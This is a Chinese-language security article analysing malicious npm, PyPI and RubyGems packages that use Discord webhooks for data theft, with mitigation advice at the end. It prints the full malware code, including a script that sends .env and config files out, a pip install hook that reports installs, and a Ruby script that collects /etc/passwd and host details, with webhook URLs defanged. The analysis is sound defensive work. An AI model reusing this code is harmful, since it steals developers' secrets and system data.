摘要

本報告針對 Threat actor 如何利用 Discord webhooks 進行 Command and Control (C2) 操作和資料外洩提供技術分析。本研究透過檢視來自各種套件生態系 (包括 npm、PyPI 和 RubyGems) 的實際案例,剖析其底層程式碼結構和通訊機制。重點在於了解這些看似無害的通訊管道如何被重新用於惡意攻擊,突顯技術上的弱點和供應鏈攻擊的演變。本報告也根據觀察到的技術模式,討論潛在的偵測和緩解策略。

C2 新戰場:Discord 成為 Threat Actor 傳輸惡意 Payload 的技術細節 | 資訊安全新聞

1. 簡介

網路威脅的環境不斷演變,攻擊者持續尋找新穎的方法來建立持續性的控制並從受感染的系統中外洩敏感資料。傳統的 Command and Control (C2) 基礎設施通常依賴專門的伺服器,這些伺服器很容易被識別和封鎖。然而,一種日益增長的趨勢是濫用合法的服務,例如 Discord,將惡意流量與正常的網路活動混在一起,從而逃避偵測 [1]。Discord webhooks 專為自動化訊息和整合而設計,由於其 HTTPS 端點的特性和唯讀特性 [1],為資料外洩和 C2 通訊提供了一個簡單而有效的管道。本報告深入探討 Discord webhooks 如何在不同軟體套件管理程式中被武器化的技術細節,提供詳細的程式碼分析和架構圖。

2. Discord Webhooks: 技術概述

Discord webhooks 本質上是 HTTPS 端點,允許外部服務將訊息發佈到 Discord 頻道。每個 webhook URL 都包含一個唯一的數字 ID 和一個 Secret Token。擁有此 URL 即可向指定的頻道傳送 Payload,而無需 URL 本身以外的認證。這種唯讀的特性意味著雖然資料可以傳送到頻道,但 webhook URL 本身不允許讀取頻道歷史記錄,使得防禦者很難僅從 URL 追溯先前的發佈 [1]。測試 webhook 的活躍性通常涉及觀察 HTTP Response POST:帶有 204 No Content 200 OK 且有 ?wait=true 表示成功,而 401 Unauthorized 404 Not Found 429 Too Many Requests (帶有 retry_after 提示) 分別表示 Token 錯誤、無效的 webhooks 或速率限制等問題 [1]。

3. 跨套件生態系的武器化

Threat actor 利用 Discord webhooks 的簡潔性和普遍性,在各種軟體供應鏈中建立隱蔽的通訊管道。以下各節詳細介紹在 npm、PyPI 和 RubyGems 生態系中觀察到的範例,說明資料外洩和 C2 的多樣化技術。

3.1. npm 生態系: mysql-dumpdiscord

mysql-dumpdiscord npm 套件是檔案外洩 dropper 的一個典型範例。這個惡意套件旨在識別並從受感染的系統中提取敏感的設定檔案,並透過 Discord webhook 傳輸其內容 [1]。

3.1.1. 程式碼分析

mysql-dumpdiscord 的核心功能圍繞著讀取特定的設定檔案,並將其內容發佈到 hardcoded 的 Discord webhook URL。該套件針對常見的設定檔案,例如 config.json .env 以及其他可能包含敏感資訊 (如 API key、認證或資料庫連線字串) 的檔案 [1]。

  1. const fs = require("fs");
  2. const path = require("path");
  3. // Discord Webhook URL - This is the exfiltration point
  4. const WEBHOOK_URL = "https://discord[.]com/api/webhooks/..."; // Example URL, actual URL is obfuscated
  5. // List of target files for exfiltration
  6. const FILES = ["config.json", "config.js",".env","ayarlar.json", "ayarlar.js"];
  7. async function sendToWebhook(filePath) {
  8.   try {
  9.     const fullPath = path.resolve(filePath);
  10.     
  11.     // Check if the file exists before attempting to read
  12.     if (!fs.existsSync(fullPath)) return;
  13.     
  14.     // Read file content synchronously
  15.     const content = fs.readFileSync(fullPath, "utf-8");
  16.     
  17.     let message;
  18.     // Truncate content if it exceeds Discord's message length limit (1900 characters for code blocks)
  19.     if (content.length > 1900) {
  20.       message = `📄 File: \\`${filePath}\\`\\n\\`\\`\\`txt\\n${content.slice(0, 1900)}...\\n\\`\\`\\`\\n⚠️ File is too big, it was shortened.`;
  21.     } else {
  22.       message = `📄 File: \\`${filePath}\\`\\n\\`\\`\\`js\\n${content}\\n\\`\\`\\``;
  23.     }
  24.     
  25.     // Send the formatted message to the Discord webhook
  26.     await fetch(WEBHOOK_URL, {
  27.       method: "POST",
  28.       headers: { "Content-Type": "application/json" },
  29.       body: JSON.stringify({ content: message }),
  30.     });
  31.   } catch (err) {
  32.     // Silent error handling to avoid detection
  33.     console.error("❌ Error:", err.message);
  34.   }
  35. }
  36. // Iterate through the list of files and attempt to send their content
  37. FILES.forEach((file) => sendToWebhook(file));
  38. module.exports = {};

該程序遍歷預先定義的檔案名稱清單。對於每個檔案,它解析絕對路徑,檢查其是否存在,讀取其內容,然後建構一個 Discord 訊息。一個值得注意的特點是內容截斷邏輯:如果檔案的內容超過 1,900 character,則只傳送初始部分,並附帶截斷通知。這種機制確保即使是大型檔案也能部分外洩,而不會超過 Discord 的訊息限制。然後,該訊息作為 JSON Payload 透過 HTTP Request POST 傳送到 Discord webhook [1]。這個簡單而有效的 dropper 透過利用 Discord 作為外洩點,繞過了對專用 C2 伺服器的需求。

3.1.2. 架構流程

下圖表說明了 mysql-dumpdiscord 套件的操作流程:

graph TD             A[Malicious npm Package: mysql-dumpdiscord] --> B{Read Configuration Files}             B --> C{Check File Existence}             C -- File Exists --> D[Read File Content]             D --> E{Content Length Check}             E -- > 1900 chars --- F[Truncate Content]             E -- <= 1900 chars --- G[Full Content]             F --> H[Format Discord Message]             G --> H             H --> I[POST to Discord Webhook]             I --> J["Discord Channel (C2/Exfiltration)"]             J -- Threat Actor Access --- K[Threat Actor]

3.2. npm 生態系: nodejs.discord

來自 npm 生態系的另一個範例 nodejs.discord ,展示了使用 Discord webhooks 進行資料傳輸的更簡單方法。此套件作為傳送文字到 Discord 頻道的一個極簡 wrapper [1]。

3.2.1. 程式碼分析

nodejs.discord 模組提供了一個直接的介面來傳送訊息。它利用 discord.js 函式庫的 WebhookClient 連接到 hardcoded 的 webhook URL 並傳送任意文字內容。

  1. const { WebhookClient } = require("discord.js");
  2. class DiscordWebhook {
  3.     async connect(...messages) {
  4.         const content = messages.join(" "); // Join all arguments into a single string
  5.         try {
  6.             // Instantiate WebhookClient with the hardcoded URL and send the content
  7.             await new WebhookClient({ url: 'https://discord[.]com/api/webhooks/...' }).send({ content });
  8.         } catch (error) {
  9.             // Silent error handling to prevent alerting the user or system
  10.             return;
  11.         }
  12.     }
  13. }
  14. module.exports = DiscordWebhook;

DiscordWebhook.connect(...messages) 方法將所有輸入參數串連成一個單一字串,然後將其 POST 到 webhook。此實作的一個關鍵方面是在 try/catch 區塊內靜默地處理錯誤。這種設計選擇確保傳輸期間的網路故障或其他問題不會中斷惡意操作或引起懷疑 [1]。雖然此機制可用於合法的目的,例如應用程式記錄,但其透過嵌入式 webhook URL 向第三方傳輸任意資料的能力使其成為一個可行的外洩目標。

3.2.2. 架構流程

nodejs.discord 套件的操作流程如下圖所示:

graph TD             A[Malicious npm Package: nodejs.discord] --> B{"DiscordWebhook.connect(...messages)"}             B --> C[Join Messages into Single String]             C --> D[Instantiate WebhookClient with Hardcoded URL]             D --> E[Send Content to Discord Webhook]             E -- Silent Error Handling --> F["Discord Channel (C2/Exfiltration)"]             F -- Threat Actor Access --> G[Threat Actor]

3.3. PyPI 生態系: malinssx

PyPI 生態系也成為目標,像 malinssx 這樣的套件展示了 Discord 如何用於 Python 環境中的 C2。此範例突顯了使用安裝後 hook 來觸發惡意攻擊 [1]。

3.3.1. 程式碼分析

malinssx 套件利用 Python 的 setuptools 來覆寫預設的安裝程序。透過定義一個繼承自 setuptools.command.install.install 的客制化 RunPayload 類別,Threat actor 可以在 pip install 程序的過程中執行任意程式碼 [1]。

  1. from setuptools import setup
  2. from setuptools.command.install import install
  3. import urllib.request
  4. import json
  5. # Malicious Discord C2 Webhook URL
  6. WEBHOOK_URL = "https://discord[.]com/api/webhooks/..."; # Example URL, actual URL is obfuscated
  7. class RunPayload(install):
  8.     def run(self):
  9.         try:
  10.             # Prepare a JSON payload indicating package installation
  11.             data = json.dumps({"content": "💥 Someone just installed the `maladicus` package via pip!"}).encode("utf-8")
  12.             # Create an HTTP POST request to the Discord webhook
  13.             req = urllib.request.Request(WEBHOOK_URL, data=data, headers={"Content-Type": "application/json"})
  14.             # Send the request
  15.             urllib.request.urlopen(req)
  16.         except Exception as e:
  17.             # Silent error handling
  18.             pass  # Ignore errors to avoid detection
  19.         finally:
  20.             # Ensure the normal installation process completes
  21.             install.run(self)
  22. setup(
  23.     name='malinssx',
  24.     version='0.0.1',
  25.     description='test webhook',
  26.     py_modules=[],
  27.     cmdclass={'install': RunPayload},
  28. )

安裝後, RunPayload.run() 方法會被執行。它建構一個包含訊息的 JSON Payload (例如,「💥 Someone just installed the `maladicus` package via pip!」),並使用 urllib.request 將其傳送到 hardcoded 的 WEBHOOK_URL 。與 npm 範例類似,此過程中的錯誤會被靜默忽略,確保惡意攻擊保持隱蔽 [1]。此技術展示了經典的供應鏈風險,即安裝套件的行為會無意中觸發對第三方 Discord 頻道的 HTTP Request,該頻道可用於遙測或外洩,而無需使用者明確同意。

3.3.2. 架構流程

malinssx 套件的架構流程如下所示:

graph TD A[Malicious PyPI Package: malinssx] --> B{pip install malinssx} B --> C[Override setuptools install command] C --> D["RunPayload.run() executes"] D --> E["JSON-encode message: ''💥 Someone just installed the `maladicus` package via pip!''"] E --> F["POST to Discord Webhook (urllib.request)"] F -- Silent Error Handling --> G["Discord Channel (C2/Exfiltration)"] G -- Threat Actor Access --> H[Threat Actor]

3.4. RubyGems 生態系: sqlcommenter_rails

RubyGems 生態系也出現了濫用 Discord webhook 的情況,如 sqlcommenter_rails gem 中所示。此範例說明了一種更全面的資料外洩策略,在傳輸前收集各種主機詳細資料 [1]。

3.4.1. 程式碼分析

sqlcommenter_rails Ruby 程序旨在收集廣泛的系統資訊,然後將其外洩到 hardcoded 的 Discord webhook。這包括敏感資料,例如 /etc/passwd 內容、DNS 伺服器設定、主機名稱、目前使用者和 public IP 位址 [1]。

  1. require 'etc'
  2. require 'socket'
  3. require 'json'
  4. require 'net/http'
  5. require 'uri'
  6. # Read the /etc/passwd file, handling potential errors
  7. begin
  8.   passwd_data = File.read('/etc/passwd')
  9. rescue StandardError =&gt; e
  10.   passwd_data = "Error reading /etc/passwd: #{e.message}"
  11. end
  12. # Get current UTC time in ISO8601 format
  13. current_time = Time.now.utc.iso8601
  14. # Define package metadata (example values)
  15. gem_name = 'sqlcommenter_rails'
  16. gem_version = '0.1.0'
  17. gem_metadata = {
  18.   'name' =&gt; gem_name,
  19.   'version' =&gt; gem_version,
  20.   'summary' =&gt; 'Test gem for dependency confusion',
  21.   'author' =&gt; 'Your Name'
  22. }
  23. # Get DNS servers from /etc/resolv.conf (Linux-specific)
  24. begin
  25.   dns_servers = File.readlines('/etc/resolv.conf').select { |line| line.start_with?('nameserver') }.map { |line| line.split[1] }
  26.   dns_servers = dns_servers.empty? ? ['Unknown'] : dns_servers
  27. rescue StandardError
  28.   dns_servers = ['Unknown']
  29. end
  30. # Function to retrieve public IP address using api.ipify.org
  31. def get_public_ip
  32.   uri = URI('https://api.ipify.org')
  33.   response = Net::HTTP.get_response(uri)
  34.   if response.is_a?(Net::HTTPSuccess)
  35.     response.body
  36.   else
  37.     "Error getting public IP: #{response.message}"
  38.   end
  39. rescue StandardError =&gt; e
  40.   "Error getting public IP: #{e.message}"
  41. end
  42. # Collect all tracking data into a hash
  43. public_ip = get_public_ip
  44. tracking_data = {
  45.   'package' =&gt; gem_name,
  46.   'current_dir' =&gt; Dir.pwd,
  47.   'home_dir' =&gt; Dir.home,
  48.   'hostname' =&gt; Socket.gethostname,
  49.   'username' =&gt; Etc.getlogin || 'Unknown',
  50.   'dns_servers' =&gt; dns_servers,
  51.   'resolved' =&gt; nil, # RubyGems doesn't have a direct equivalent to packageJSON.___resolved
  52.   'version' =&gt; gem_version,
  53.   'package_json' =&gt; gem_metadata,
  54.   'passwd_content' =&gt; passwd_data,
  55.   'time' =&gt; current_time,
  56.   'originating_ip' =&gt; public_ip
  57. }
  58. # Custom notes for the exfiltration event
  59. custom_notes = "Successful R_C_E via dependency confusion."
  60. # Format the collected information into a human-readable message
  61. formatted_message = &lt;&lt;~MESSAGE
  62.   Endpoint: https://example.com/endpoint
  63.   All Information:
  64.   - Package: #{tracking_data['package']}
  65.   - Current Directory: #{tracking_data['current_dir']}
  66.   - Home Directory: #{tracking_data['home_dir']}
  67.   - Hostname: #{tracking_data['hostname']}
  68.   - Username: #{tracking_data['username']}
  69.   - DNS Servers: #{tracking_data['dns_servers'].to_json}
  70.   - Resolved: #{tracking_data['resolved']}
  71.   - Version: #{tracking_data['version']}
  72.   - Package JSON: #{tracking_data['package_json'].to_json(indent: 2)}
  73.   - /etc/passwd Content: #{tracking_data['passwd_content']}
  74.   - Time: #{tracking_data['time']}
  75.   - Originating IP: #{tracking_data['originating_ip']}
  76.   Custom Notes:
  77.   #{custom_notes}
  78. MESSAGE
  79. # Output the formatted message to console (for debugging/logging)
  80. puts formatted_message
  81. # Send the formatted message to the Discord Webhook via HTTPS POST
  82. uri = URI('https://discord[.]com/api/webhooks/...') # Example URL, actual URL is obfuscated
  83. https = Net::HTTP.new(uri.host, uri.port)
  84. https.use_ssl = true
  85. request = Net::HTTP::Post.new(uri.path, { 'Content-Type' =&gt; 'application/json' })
  86. request.body = { content: formatted_message }.to_json
  87. begin
  88.   response = https.request(request)
  89. rescue StandardError =&gt; e
  90.   # Silent error handling for network errors during send
  91. end

該程序首先要求用於系統資訊、網路和 JSON 處理的必要函式庫。然後,它繼續讀取系統檔案,例如 /etc/passwd /etc/resolv.conf ,收集主機名稱和使用者詳細資料,並查詢外部服務 ( api.ipify.org ) 以確定 public IP 位址。所有這些收集到的資料都被編譯成一個結構化的訊息,然後列印到標準輸出,隨後使用 Net::HTTP over TLS 作為 JSON Payload 傳送到 Discord webhook。與其他範例一樣,傳輸期間的網路錯誤會被靜默處理,確保操作的隱蔽性 [1]。這種全面的資料收集和外洩能力使得此類 malicious gem 在軟體供應鏈中構成重大威脅。

3.4.2. 架構流程

sqlcommenter_rails gem 的架構流程如下圖所示:

graph TD             A[Malicious RubyGem: sqlcommenter_rails] --> B{Execution of Gem}             B --> C[Collect Host Information]             C -- Read /etc/passwd --> C1[passwd_data]             C -- Read /etc/resolv.conf --> C2[dns_servers]             C -- Get Hostname, User, Dirs --> C3[hostname, username, current_dir, home_dir]             C -- Call api.ipify.org --> C4[public_ip]             C --> D[Format Collected Data into Message]             D --> E[Print Message to stdout]             D --> F["POST to Discord Webhook (Net::HTTP over TLS)"]             F -- Silent Error Handling --> G["Discord Channel (C2/Exfiltration)"]             G -- Threat Actor Access --> H[Threat Actor]

4. 緩解策略

為了應對基於 Discord 的 C2和資料外洩威脅,可以在整個軟體開發生命週期和操作環境中實施多種緩解策略 [1]:

  • 輸出控制和允許清單: 實施嚴格的網路輸出過濾,以防止未經授權的對外連線,尤其是對已知的 Discord webhook domain 或其他可疑的外部服務。
  • 相依性審查和鎖定: 利用工具和實務做法徹底審查相依性,包括檢查 hardcoded 的 webhook URL、可疑的網路呼叫或不尋常的安裝時 hook。使用 lockfiles 鎖定相依性並驗證來源 (e.g., SLSA) 可以防止惡意套件的引入。
  • 程式碼掃描和運行時監控: 靜態分析工具動態分析工具整合到 CI/CD 管道中,以掃描 pull requests 和安裝,尋找入侵指標 (Indicator of Compromise, IOC),例如對 Discord 端點的網路活動或對敏感檔案的存取。運行時監控可以偵測部署後的異常行為。
  • 認證管理: 定期輪換開發者認證,並強制實施最小權限原則,以最大程度地減少帳號被盜用的影響。避免將 API key 等敏感資訊直接儲存在易於外洩的設定檔案或環境變數中。
  • 行為偵測: 將重點從傳統的入侵指標 (IOC) 偵測轉移到行為分析。這涉及識別指示惡意 C2 的活動模式,即使通訊管道本身是合法的。
  • AI 輔助程式碼安全: 警惕程式碼助理推薦有風險或憑空捏造的相依性,尤其是那些可能助長基於 webhook 的 C2 或密鑰竊取的相依性。

5. 結論

將 Discord webhooks 武器化用於 Command and Control 和資料外洩,代表了軟體供應鏈攻擊的重大演變。透過利用合法的通訊管道,Threat actor 可以繞過傳統的安全措施,並隱蔽地提取敏感資訊。對來自 npm、PyPI 和 RubyGems 的範例的詳細分析,證明了這些攻擊向量的多功能性和簡潔性。有效的緩解需要多層次的方法,結合嚴格的輸出控制、徹底的相依性審查、持續的程式碼掃描、健全的認證管理,以及轉向行為偵測。隨著攻擊者不斷創新,保持警惕和調整安全實務對於保護軟體生態系至關重要。